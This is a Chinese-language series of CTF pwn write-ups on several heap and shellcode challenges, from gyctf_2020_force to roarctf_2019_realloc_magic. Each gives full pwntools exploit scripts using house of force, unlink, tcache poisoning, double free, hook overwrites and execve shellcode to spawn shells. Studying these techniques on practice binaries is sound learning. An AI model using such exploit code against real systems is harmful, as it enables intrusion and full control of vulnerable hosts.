gyctf_2020_force 0x00 基本信息
保护全开,GOT也写不了,看这个名字就感觉是house of force….
0x01 IDA分析
正好印证了之前的猜测,满足house of force的条件:
可覆盖Top chunk为-1
能够分配任意大小的堆块以及分配的次数
先试一下覆盖Top chunk
1 2 payload = p64(0 )*3 +p64(0xffffffffffffffff ) heap_base = add(10 ,payload)
没啥毛病!不记得回去看看house of force
接下来就是想着任意地址堆块分配到哪里去了,前面看到保护全开,其实我第一想法是覆盖GOT表的,但是RELOC保护全开了,没办法了!只能覆盖malloc_hook,写one_gadget了
0x02 解题思路 1.泄露libc,heap基址
2.修改Top chunk的size为-1
3.劫持__malloc_hook修改one_gadget,这里需要realloc改变栈环境
0x03 完整EXP 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 from pwn import *p = process('./gyctf_2020_force' ) elf = ELF('./gyctf_2020_force' ) libc = ELF('libc-2.23.so' ) def new (size, content ): p.sendlineafter('2:puts\n' , '1' ) p.sendlineafter('size\n' , str (size)) p.recvuntil('addr ' ) heap = int (p.recv(14 ), 16 ) p.sendlineafter('content\n' , content) return heap libc_base = new(0x200000 , 'aaa' ) + 0x200ff0 print 'libc_base : ' + hex (libc_base)heap_base = new(0x18 , 'a' * 0x10 + p64(0 ) + p64(0xFFFFFFFFFFFFFFFF )) print 'heap_base : ' + hex (heap_base)top = heap_base + 0x10 malloc_hook = libc.sym['__malloc_hook' ] + libc_base offset = malloc_hook - top print 'offset : ' + hex (offset)realloc = libc.sym['__libc_realloc' ] + libc_base onegadget = [0x45216 , 0x4526a , 0xf0274 , 0xf1117 ] one = onegadget[1 ] + libc_base new(offset - 0x33 , 'a' * 0x8 ) new(0x10 , 'a' * 0x8 + p64(one) + p64(realloc + 0x10 )) p.sendlineafter('2:puts\n' , '1' ) p.sendlineafter('size\n' , str (0x40 )) p.interactive()
0x04 总结 1.libc基址的获取 我们通过IDA看到,当成功分配一个堆块的时候,会将此堆块的地址打印出来,那么当堆块size过大的时候,它会通过mmap来分配堆块,此堆块的分配会紧挨着libc,就能利用输出的堆地址计算libc地址
2.realloc平衡原理 我们在劫持完__malloc_hook修改成one_gadget的时候,发现四个one_gadget都不能getshell,那么可以考虑通过realloc来平衡栈,实现one_gadget,下图我们可以看到除了第一个one_gadget的条件是rax的值为NULL,其他的都是栈上的某一个位置的值为NULL,所以用realloc来平衡栈就可以getshell了!!
我们知道啊,当进行malloc的时候呢,是先判断__malloc_hook的值是否为空,如果不为空就跳到这个值的地址上去,那么我们填上realloc的地址,就可以跳到realloc上去
realloc之所以能够调整栈帧,是因为进入realloc函数之后会push一系列的参数进去,接着和__malloc_hook一样,判断realloc_hook是否为空,不为空就跳转进去执行,需要注意的是要控制好psuh参数的个数,也就是加上一定的偏移
所以执行流程是
1 malloc —> __malloc_hook —> realloc —> __realloc_hook —> one_gadget -->getshell
实际的操作中还是去试偏移会快一点….
2016 ZCTF note2 0x00 基本信息
可以写GOT表…
0x01 IDA分析
经典菜单题,一个函数一个函数看吧!
add函数
分配note的数量限制在4个以内,大小限制为0x80以内,但是需要注意的是它没有限制堆块的大小不为0,接下来就是读入content
刚刚说到它没有限制堆块大小为0,那么当size也就是a2为0的时候,a2 - 1 = -1,与无符号变量i进行对比的时候,-1将转化成最大的无符号数,那么就可以实现溢出了
除此之外,程序还维护了一张堆块的信息表,一看到这第一反应肯定是劫持这个堆块表
show函数
没啥毛病,在ptr中有记录此堆块的内容指针,就打印出来
edit函数
delete函数
free掉之后清零了,不存在uaf,我们的目的是劫持刚刚的堆块表,这里没有uaf,堆块大小也限制了,考虑用unlink
0x02 解题思路 1.布置堆风水,为unlink做铺垫
2.unlink使得ptr[0] = ptr[0] - 0x18
3.修改堆指针为atoi@got,show它泄露libc地址
4.修改atoi@got为system@got
0x03 完整EXP 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 from pwn import *context.log_level = 'debug' elf = ELF('note2' ) libc = ELF('libc-2.23.so' ) local = 1 binary = 'note2' port = '25066' if local == 1 : io = process(binary) else : io = remote("node4.buuoj.cn" ,port) def add (size,content ): io.recvuntil('option--->>' ) io.sendline('1' ) io.recvuntil('Input the length of the note content:(less than 128)' ) io.sendline(str (size)) io.recvuntil('Input the note content:' ) io.sendline(content) def edit (idx,chioce,content ): io.recvuntil('option--->>' ) io.sendline('3' ) io.recvuntil('Input the id of the note:' ) io.sendline(str (idx)) io.recvuntil('do you want to overwrite or append?[1.overwrite/2.append]' ) io.sendline(str (chioce)) sleep(0.1 ) io.sendline(content) def show (idx ): io.recvuntil('option--->>' ) io.sendline('2' ) io.recvuntil('Input the id of the note:' ) io.sendline(str (idx)) def free (idx ): io.recvuntil('option--->>' ) io.sendline('4' ) io.recvuntil('Input the id of the note:' ) io.sendline(str (idx)) io.recvuntil("Input your name:" ) io.sendline("zyen" ) io.recvuntil("Input your address:" ) io.sendline("aaaa" ) ptr = 0x602120 fake_fd = ptr - 0x18 fake_bk = ptr - 0x10 fake_content0 = '\x00' *8 +p64(0xa1 )+p64(fake_fd)+p64(fake_bk) add(0x80 ,fake_content0) add(0x0 ,'a' ) add(0x80 ,'a' ) free(1 ) payload = 'a' *0x10 +p64(0xa0 )+p64(0x90 ) add(0x0 ,payload) free(2 ) atoi_got = elf.got['atoi' ] payload = 'a' *0x18 +p64(atoi_got) edit(0 ,1 ,payload) show(0 ) io.recvuntil("is " ) atoi_addr = u64(io.recv(6 ).ljust(8 , "\x00" )) print 'atoi_addr : ' + hex (atoi_addr)libc_base = atoi_addr - libc.sym['atoi' ] system_addr = libc_base + libc.sym['system' ] print 'system_addr : ' + hex (system_addr)edit(0 ,1 ,p64(system_addr)) io.recvuntil('option--->>' ) io.sendline('/bin/sh' ) io.interactive()
0x04 总结 1.unlink注意事项 刚开始对这个payload匪夷所思
1 2 payload = 'a' *0x10 +p64(0xa0 )+p64(0x90 ) add(0x0 ,payload)
向后合并 的源码如下
我们发现它首先会判断prev_inuse 是否为0,而在此题目中的堆块是fastbin范畴的堆块,所以当它被free的时候并不会把prev_inuse 置为0,需要我们手动置零
将prev_size 拿出来加上它本来的大小变成它unlink结束之后堆块的大小
根据当前的chunk的prev_size 来获取到前一个堆块的指针(这里的向后合并其实是向低地址合并
开始unlink~
1 2 3 4 5 6 7 8 9 if (!prev_inuse(p)) { prevsize = prev_size (p); size += prevsize; p = chunk_at_offset(p, -((long ) prevsize)); unlink(av, p, bck, fwd); }
既然复习到向后合并,那就…
向前合并 的源码
和向后合并相比,向前合并的源码就简单一些
先会判断是不是和top chunk相邻,相邻就合并了
如果nextinuse是1就修改它的prev_inuse为0
unlink完事之后把size改为合并后的size
1 2 3 4 5 6 7 8 9 10 11 12 13 14 if (nextchunk != av->top){ if (!nextinuse) { unlink(av, nextchunk, bck, fwd); size += nextsize; } else clear_inuse_bit_at_offset(nextchunk, 0 ); ... ... else { size += nextsize; set_head(p, size | PREV_INUSE); av->top = p; check_chunk(av, p); }
actf_2019_babyheap 0x00 基本信息
0x01 IDA分析 先看看free函数
free函数
经典uaf
create函数
经典之不能再经典
print函数
留了一个后门函数,直接执行内容,在初始化的时候我们看到了system函数
0x02 解题思路 0x03 完整EXP 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 from pwn import *io = remote('node4.buuoj.cn' ,26654 ) elf = ELF('ACTF_2019_babyheap' ) context.log_level = 'debug' def create (size,payload ): io.sendlineafter("Your choice: " ,'1' ) io.sendlineafter("Please input size: \n" ,str (size)) io.sendafter("Please input content: \n" ,payload) def free (index ): io.sendlineafter("Your choice: " ,'2' ) io.sendlineafter("Please input list index: \n" ,str (index)) def print_this (index ): io.sendlineafter("Your choice: " ,'3' ) io.sendlineafter("Please input list index: \n" ,str (index)) create(0x100 ,'a' ) create(0x100 ,'a' ) free(0 ) free(1 ) create(0x10 ,p64(0x602010 ) + p64(elf.symbols["system" ])) print_this(0 ) io.interactive()
gyctf_2020_signin 0x00 基本信息
题目描述是在ubuntu18里面的,所以有tache机制
0x01 IDA分析 del函数
虽然把flags清零了,但是ptrlist没有清零
add函数
只能分配0xF个chunk,有个ptrlist存在bss段上
edit函数
cnt是一个全局变量,值为1,所以edit函数只能eait一次,一开始想劫持tache不过只能只能edit一次
后门函数
calloc一下就判断ptr的值是否为0,不为0就起一个shell,ptr是bss段上的一个变量
0x02解题思路
分配8个chunk并free掉,会有一个chunk进入fastbin
add回来一个chunk
修改fastbin中的堆块的fd
执行后门函数
0x03 完整EXP 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 from pwn import *context.log_level = 'debug' elf = ELF('gyctf_2020_signin' ) local = 1 binary = 'gyctf_2020_signin' port = '26743' if local == 1 : io = process(binary) else : io = remote("node3.buuoj.cn" ,port) def add (idx ): io.recvuntil('your choice?' ) io.sendline('1' ) io.recvuntil('idx?' ) io.sendline(str (idx)) def edit (idx,content ): io.recvuntil('your choice?' ) io.sendline('2' ) io.recvuntil('idx?' ) io.sendline(str (idx)) io.sendline(content) def free (idx ): io.recvuntil('your choice?' ) io.sendline('3' ) io.recvuntil('idx?' ) io.sendline(str (idx)) for i in range (8 ): add(i) for i in range (8 ): free(i) add(8 ) payload = p64(0x4040C0 - 0x10 ) edit(7 ,payload) sleep(0.1 ) io.sendline('6' ) io.interactive()
0x04总结 1.calloc分配堆块机制 calloc分配堆块是不会从tache里面获取堆块的,在calloc的时候会从fastbin里面拿堆块,并且当它去取堆块的时候会把fastbin剩余的堆块放到tache里面
实验一下
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 #include <stdio.h> #include <stdlib.h> int main (void ) { void *c1,*c2,*c3,*c4,*c5,*c6,*c7,*c8; void *c9,*c10; c1 = malloc (0x20 ); c2 = malloc (0x20 ); c3 = malloc (0x20 ); c4 = malloc (0x20 ); c5 = malloc (0x20 ); c6 = malloc (0x20 ); c7 = malloc (0x20 ); c8 = malloc (0x20 ); c9 = malloc (0x20 ); c10 = malloc (0x20 ); free (c1); free (c2); free (c3); free (c4); free (c5); free (c6); free (c7); free (c8); free (c9); free (c10); malloc (0x20 ); malloc (0x20 ); calloc (1 ,0x20 ); return 0 ; }
在tache bin attack中也实验过了,malloc只有当tache中的bin分配完了之后才会把fastbin里面的堆块拿到tache里面,calloc不一样啊!!!
明白了这一点就很简单了直接tcache poisoning 改到ptr-0x10的位置,之后触发后门函数就可以getshell了!
ciscn_2019_en_3 0x00 基本信息
保护全开不说,还多了一个FORTIFY,这是个啥?
就是说定义此宏会导致执行一些轻量级检查,以在使用各种字符串和内存操作函数(例如memcpy
,memset
、stpcpy
、strcpy
、strncpy
、strcat
、strncat
、sprintf
、snprintf
、vsprintf
、 vsnprintf
、gets
、 及其宽字符变体)时检测一些缓冲区溢出错误
比如printf就变成了printf_chk,它将可以检查格式化字符串漏洞的特殊字符,就像下面这样
0x01 IDA分析
在初始化的时候有两个地方可以泄露libc,一开始就瞄了一下没太在意,后面发现libc泄露不了没法写,看到wp才知道,写堆题还是要看看其他的输入点,每个输入点都有可能是一个漏洞点!
puts函数的输出是直到碰到”\x00”才会结束,s是一个大小为16的数组,它只让我们输入前八,所以我们把前八给写满如果后面没有”\x00”就会把后八的字符给带出来,后面碰巧是libc里面的地址
虽然%3$p会报错,但是%p不会报错调试一下,全是栈上的地址,随便找一个就行
下面就是正常的堆,show和edit函数废了
漏洞点就是在del里面,有个uaf
0x02解题思路
通过前面的溢出,泄露出libc
double free控制堆块修改fd指针指向free_hook
修改free_hook为system
0x03 完整EXP 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 from pwn import *context.log_level = 'debug' elf = ELF('ciscn_2019_en_3' ) libc = ELF('libc-2.27.so' ) local = 1 binary = 'ciscn_2019_en_3' port = '25784' if local == 1 : io = process(binary,env={'LD_PRELOAD' :'libc-2.27.so' }) else : io = remote("node4.buuoj.cn" ,port) def add (size,content ): io.recvuntil('Input your choice:' ) io.sendline('1' ) io.recvuntil('Please input the size of story: ' ) io.sendline(str (size)) io.recvuntil('please inpute the story: ' ) io.sendline(content) def free (idx ): io.recvuntil('Input your choice:' ) io.sendline('4' ) io.recvuntil('Please input the index:' ) io.sendline(str (idx)) io.sendlineafter('name?\n' ,'zyen' ) io.sendlineafter('ID.\n' ,'zyen1111' ) libc_base = u64(io.recvuntil('\x7f' )[-6 :].ljust(8 ,'\x00' ))-libc.sym['setbuffer' ]-231 io.success("[*]libc_base => " + hex (libc_base)) free_hook = libc_base + libc.sym['__free_hook' ] system_addr = libc_base + libc.sym['system' ] io.success("[*]system_addr => " + hex (system_addr)) io.success("[*]free_hook => " + hex (free_hook)) add(0x20 ,'aa' ) add(0x20 ,'/bin/sh' ) free(0 ) free(0 ) add(0x20 ,p64(free_hook)) add(0x20 ,'a' ) add(0x20 ,p64(system_addr)) free(1 ) io.interactive()
0x04总结 1.puts小实验 1 2 3 4 5 6 7 8 9 #include <stdio.h> int main (int argc, char const *argv[]) { char s[16 ]; read(0 ,s,16 ); puts (s); return 0 ; }
上面是read了8个字符,这次我们read了16个字符,但是我们的输入只输入了8个1,同样的,我们看到了它有泄露下面的地址,puts函数还是挺危险的!
最后啰嗦一下,此double free已经不适应用于libc-2.27了,libc-2.26不知道,double free的补丁已经打到libc-2.27上了,搞得我本地调试不了…(懒的换libc
libc补丁
加了个key,记得可以改这个key绕过这个检查的,但是这题没有edit函数….
starctf_2019_babyshell 0x00 基本信息
0x01 IDA分析
程序的流程很简单就是输入shllcode,然后执行,但是sub_400786里面还有名堂
它会对比一段字符串,如果匹配就能执行我们的shellcode,”\x00”就能绕过,问题不大
但当我把shellcode打进去的时候,很惊奇的发现居然没getshell,动调发现它居然把shellcode的push 42给占了
可能某个地方覆盖了吧也不太清楚,在shellcode前面加上几个”\x6a”就可以了
0x02 完整EXP 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 from pwn import *context(arch='amd64' ,os='linux' ) context.log_level = 'debug' elf = ELF('starctf_2019_babyshell' ) local = 0 binary = 'starctf_2019_babyshell' port = '26094' if local == 1 : io = process(binary) else : io = remote("node4.buuoj.cn" ,port) shellcode='\x6a\x6a\x42\x58\xfe\xc4\x48\x99\x52\x48\xbf\x2f\x62\x69\x6e\x2f\x2f\x73\x68\x57\x54\x5e\x49\x89\xd0\x49\x89\xd2\x0f\x05' io.recvuntil('give me shellcode, plz:\n' ) io.sendline('\x00\x6a' +shellcode) io.interactive()
0x03 总结 哇!哭了,学到了,直接编写shellcode调用sys_read
1 2 3 4 5 6 7 8 9 10 11 12 13 from pwn import *context(log_level='debug' ,os='linux' ,arch='amd64' ) p = process('./starctf_2019_babyshell' ) gdb.attach(p) shellcode = asm('pop rdi;pop rdi;pop rdi;pop rdi;pop rdi;pop rdi;pop rdi;pop rdi;pop rdx;pop rdi;syscall' ) p.sendlineafter(' plz:\n' ,shellcode) sleep(1 ) p.sendline('a' *0xC + asm(shellcraft.sh())) p.interactive()
bjdctf_2020_YDSneedGrirlfriend 0x00 基本信息
0x01 IDA分析
上面还有一个限制堆块数量的判断,不重要,可以看到这里申请了一个0x10的堆块写入了print_girlfriend_name的函数地址,但是这个print_girfriend_name…就是一个后门
现在还没感觉像后门,但是看到print函数的时候,仔细看看(*girlfriendlst[v1])(girlfrendlist[v1]),如果我们劫持了包含print_girlfriend_name的0x10堆块,修改成其他的函数地址,比如system@got,那么就会变成system(girlfrendlist[v1] + 8)
再看看del函数,思路就很清晰了
有个后门函数…
0x02 解题思路
double free一个堆块
申请一个0x20的堆块,double free的0x10的堆块就写入了print_girlfriend_name
申请的时候改成后门函数
0x03 完整EXP 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 from pwn import *elf = ELF('bjdctf_2020_YDSneedGrirlfriend' ) local = 0 binary = 'bjdctf_2020_YDSneedGrirlfriend' port = '29413' if local == 1 : io = process(binary) else : io = remote("node4.buuoj.cn" ,port) def add (size,context ): io.recvuntil('Your choice :' ) io.sendline('1' ) io.recvuntil('Her name size is :' ) io.sendline(str (size)) io.recvuntil('Her name is :' ) io.sendline(str (context)) def show (idx ): io.recvuntil('Your choice :' ) io.sendline('3' ) io.recvuntil('Index :' ) io.sendline(str (idx)) def free (idx ): io.recvuntil('Your choice :' ) io.sendline('2' ) io.recvuntil('Index :' ) io.sendline(str (idx)) add(0x20 ,'a' ) add(0x20 ,'a' ) add(0x20 ,'a' ) free(1 ) free(0 ) free(1 ) add(0x20 ,'zyen' ) add(0x10 ,p64(0x400B9C )) show(1 ) io.interactive()
0x04 总结 看了大佬的wp,其实不用改,只要print_girlfriend_name上面写着是后门函数就行,不知道为啥system(“/bin/sh”)一直不行,一进入就down了
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 from pwn import *elf = ELF('bjdctf_2020_YDSneedGrirlfriend' ) local = 1 binary = 'bjdctf_2020_YDSneedGrirlfriend' port = '29413' if local == 1 : io = process(binary) else : io = remote("node4.buuoj.cn" ,port) def add (size,context ): io.recvuntil('Your choice :' ) io.sendline('1' ) io.recvuntil('Her name size is :' ) io.sendline(str (size)) io.recvuntil('Her name is :' ) io.sendline(str (context)) def show (idx ): io.recvuntil('Your choice :' ) io.sendline('3' ) io.recvuntil('Index :' ) io.sendline(str (idx)) def free (idx ): io.recvuntil('Your choice :' ) io.sendline('2' ) io.recvuntil('Index :' ) io.sendline(str (idx)) add(0x10 ,'a' ) add(0x20 ,'a' ) add(0x20 ,'a' ) free(0 ) free(1 ) add(0x10 ,p64(0x400B9C )) io.sendafter('Your choice :' ,str (3 )) io.interactive()
roarctf_2019_realloc_magic 0x00 基本信息
保护全开,肯定是泄露libc
打hook
0x01 IDA分析 realloc
函数,需要注意的是realloc_ptr = realloc(realloc_ptr, size)
,根据realloc
的特性,如果不realloc(0)
,它将一直对同一个堆块realloc
,具体请看《从广东省强网杯–girlfriend
看realloc
的艺术》
1 2 3 4 5 6 7 8 9 10 11 int re () { unsigned int size; puts ("Size?" ); size = get_int(); realloc_ptr = realloc (realloc_ptr, size); puts ("Content?" ); read(0 , realloc_ptr, size); return puts ("Done" ); }
free
存在uaf
:
1 2 3 4 5 int fr () { free (realloc_ptr); return puts ("Done" ); }
ba
这个函数呢,就是把realloc_ptr
清零,并且只能用一次
1 2 3 4 5 6 7 8 int ba () { if ( lock ) exit (-1 ); lock = 1 ; realloc_ptr = 0LL ; return puts ("Done" ); }
0x02 解题思路 首先此程序不存在show
函数,所以肯定是要打IO_2_1_stdout
来泄露libc
的,既然要打IO_2_1_stdout
,那又得整出个unsorted bin
指向main_arena + 88
,并且要产生堆叠来修改main_arena + 88
后两个字节,同时需要爆破1位,概率为1/16,泄露libc
的具体细节在_IO_FILE攻击 里面,那么又因为这是libc-2.27
的题目,所以要获得unsorted bin
肯定得先填满tache
,所以完整思路如下:
free
同一个块7次填满tache
,再free
一次进入unsorted bin
:
1 2 3 add(0x100 ,'b' ) [free() for i in range (7 )] add(0 ,'' )
由于本地的libc
打了补丁不能double free
,所以加载远程的libc
,远程的libc
又没有调试符号….只能vmmap
查看堆的起始位置,看到0x000055ff8d55b2e0
这个堆块的fd
和bk
变成了main_arena+88
的位置:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 pwndbg> x/100gx 0x55ff8d55b000 0x55ff8d55b000: 0x0000000000000000 0x0000000000000251 0x55ff8d55b010: 0x0001000000000000 0x0700000000000100 0x55ff8d55b020: 0x0000000000000000 0x0000000000000000 0x55ff8d55b030: 0x0000000000000000 0x0000000000000000 0x55ff8d55b040: 0x0000000000000000 0x0000000000000000 0x55ff8d55b050: 0x0000000000000000 0x0000000000000000 0x55ff8d55b060: 0x0000000000000000 0x0000000000000000 0x55ff8d55b070: 0x0000000000000000 0x0000000000000000 0x55ff8d55b080: 0x000055ff8d55b260 0x0000000000000000 0x55ff8d55b090: 0x0000000000000000 0x000055ff8d55b3f0 0x55ff8d55b0a0: 0x0000000000000000 0x0000000000000000 0x55ff8d55b0b0: 0x0000000000000000 0x0000000000000000 0x55ff8d55b0c0: 0x0000000000000000 0x000055ff8d55b2e0 0x55ff8d55b0d0: 0x0000000000000000 0x0000000000000000 ... 0x55ff8d55b240: 0x0000000000000000 0x0000000000000000 0x55ff8d55b250: 0x0000000000000000 0x0000000000000081 0x55ff8d55b260: 0x0000000000000000 0x0000000000000000 0x55ff8d55b270: 0x0000000000000000 0x0000000000000000 0x55ff8d55b280: 0x0000000000000000 0x0000000000000000 0x55ff8d55b290: 0x0000000000000000 0x0000000000000000 0x55ff8d55b2a0: 0x0000000000000000 0x0000000000000000 0x55ff8d55b2b0: 0x0000000000000000 0x0000000000000000 0x55ff8d55b2c0: 0x0000000000000000 0x0000000000000000 0x55ff8d55b2d0: 0x0000000000000000 0x0000000000000111 0x55ff8d55b2e0: 0x00007f5ca1575ca0 0x00007f5ca1575ca0 0x55ff8d55b2f0: 0x0000000000000000 0x0000000000000000 ...
接着申请0x70的大小,由于它比之前的realloc_ptr
的堆块要大(之前为0),所以它会从tache
找,发现之前有个0x70的堆块,就直接分配出去了,紧接着又分配了0x180的堆块,由于它还是比之前的realloc_ptr
的堆块要大(之前为0x70),所以它将扩大之前的0x70,也就是把0x100这个堆块给包含进来了,这个0x100的堆块再之前可是包着main_arena+88
的指针的,也就是说,我们可以写main_arena+88
的指针了!(修改chunk大小的原理还不是很清楚….,后面爆破再也没爆破出来,所以没调试出来,哭了
1 2 add(0x70 ,'a' ) add(0x180 ,'c' *0x78 +p64(0x41 )+p8(0x60 )+p8(0x87 ))
1 2 3 4 5 6 7 8 9 10 11 0x55e2f303a250: 0x0000000000000000 0x0000000000000191 0x55e2f303a260: 0x6363636363636363 0x6363636363636363 0x55e2f303a270: 0x6363636363636363 0x6363636363636363 0x55e2f303a280: 0x6363636363636363 0x6363636363636363 0x55e2f303a290: 0x6363636363636363 0x6363636363636363 0x55e2f303a2a0: 0x6363636363636363 0x6363636363636363 0x55e2f303a2b0: 0x6363636363636363 0x6363636363636363 0x55e2f303a2c0: 0x6363636363636363 0x6363636363636363 0x55e2f303a2d0: 0x6363636363636363 0x0000000000000041 0x55e2f303a2e0: 0x00007fcdef0a8760 0x00007fcdefce2ca0 0x55e2f303a2f0: 0x0000000000000000 0x0000000000000000
此时申请0x0的大小会把之前0x180的大小给free
掉,在bin
中就会出现0x55e2f303a2e0 -> 0x00007fcdef0a8760
的链表然后,再申请两次0x100,就能修改IO_2_1_stdout
1 2 3 4 add(0,'') add(0x100,'a') add(0,'') add(0x100,p64(0xfbad1887)+p64(0)*3+p8(0x58))
顺利泄露出libc
:
1 libc_base = u64(io.recvuntil("\x7f",timeout=0.1[-6:].ljust(8,'\x00'))-0x3e82a0
清空realloc_ptr
就可以再来一次,这次就是把main_arena+88
改成free_hook
,然后往free_hook
里面写system
,至于为什么不用one_gadget
,因为没有malloc_hook
来调整栈帧,所以用system
来getshell
0x03 完整EXP 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 from pwn import *elf = ELF("./roarctf_2019_realloc_magic" ) libc = ELF('./libc-2.27.so' ) def add (size,content ): io.recvuntil('>> ' ) io.sendline('1' ) io.recvuntil('Size?' ) io.sendline(str (size)) io.recvuntil('Content?' ) io.sendline(content) def free (): io.recvuntil('>> ' ) io.sendline('2' ) def back (): io.recvuntil('>> ' ) io.sendline('666' ) def pwn (): add(0x70 ,'a' ) add(0 ,'' ) add(0x100 ,'b' ) add(0 ,'' ) add(0xa0 ,'c' ) add(0 ,'' ) add(0x100 ,'b' ) [free() for i in range (7 )] add(0 ,'' ) add(0x70 ,'a' ) add(0x180 ,'c' *0x78 +p64(0x61 )+p8(0x60 )+p8(0x87 )) add(0 ,'' ) add(0x100 ,'a' ) add(0 ,'' ) add(0x100 ,p64(0xfbad1887 )+p64(0 )*3 +p8(0x58 )) libc_base = u64(io.recvuntil("\x7f" ,timeout=0.1 )[-6 :].ljust(8 ,'\x00' ))-0x3e82a0 if libc_base == -0x3e82a0 : exit(-1 ) print ("[* ]libc_base => " + hex (libc_base)) free_hook = libc_base + libc.sym['__free_hook' ] system = libc_base + libc.sym['system' ] io.sendline('666' ) add(0x120 ,'a' ) add(0 ,'' ) add(0x130 ,'b' ) add(0 ,'' ) add(0x170 ,'c' ) add(0 ,'' ) add(0x130 ,'a' ) [free() for i in range (7 )] add(0 ,'' ) add(0x120 ,'a' ) add(0x260 ,'c' *0x128 +p64(0x41 )+p64(free_hook-8 )) add(0 ,'' ) add(0x130 ,'a' ) add(0 ,'' ) add(0x130 ,'/bin/sh\x00' +p64(system)) free() io.interactive() if __name__ == "__main__" : while True : io = remote("node4.buuoj.cn" , 25510 ) try : pwn() except : io.close()
0x04 总结 realloc
函数的一些特点,才导致这道题目变得十分的特殊,当不对它free
就直接再次调用realloc
函数就会导致前一个堆块永远无法进入bin
里面,这是需要十分注意的点!!!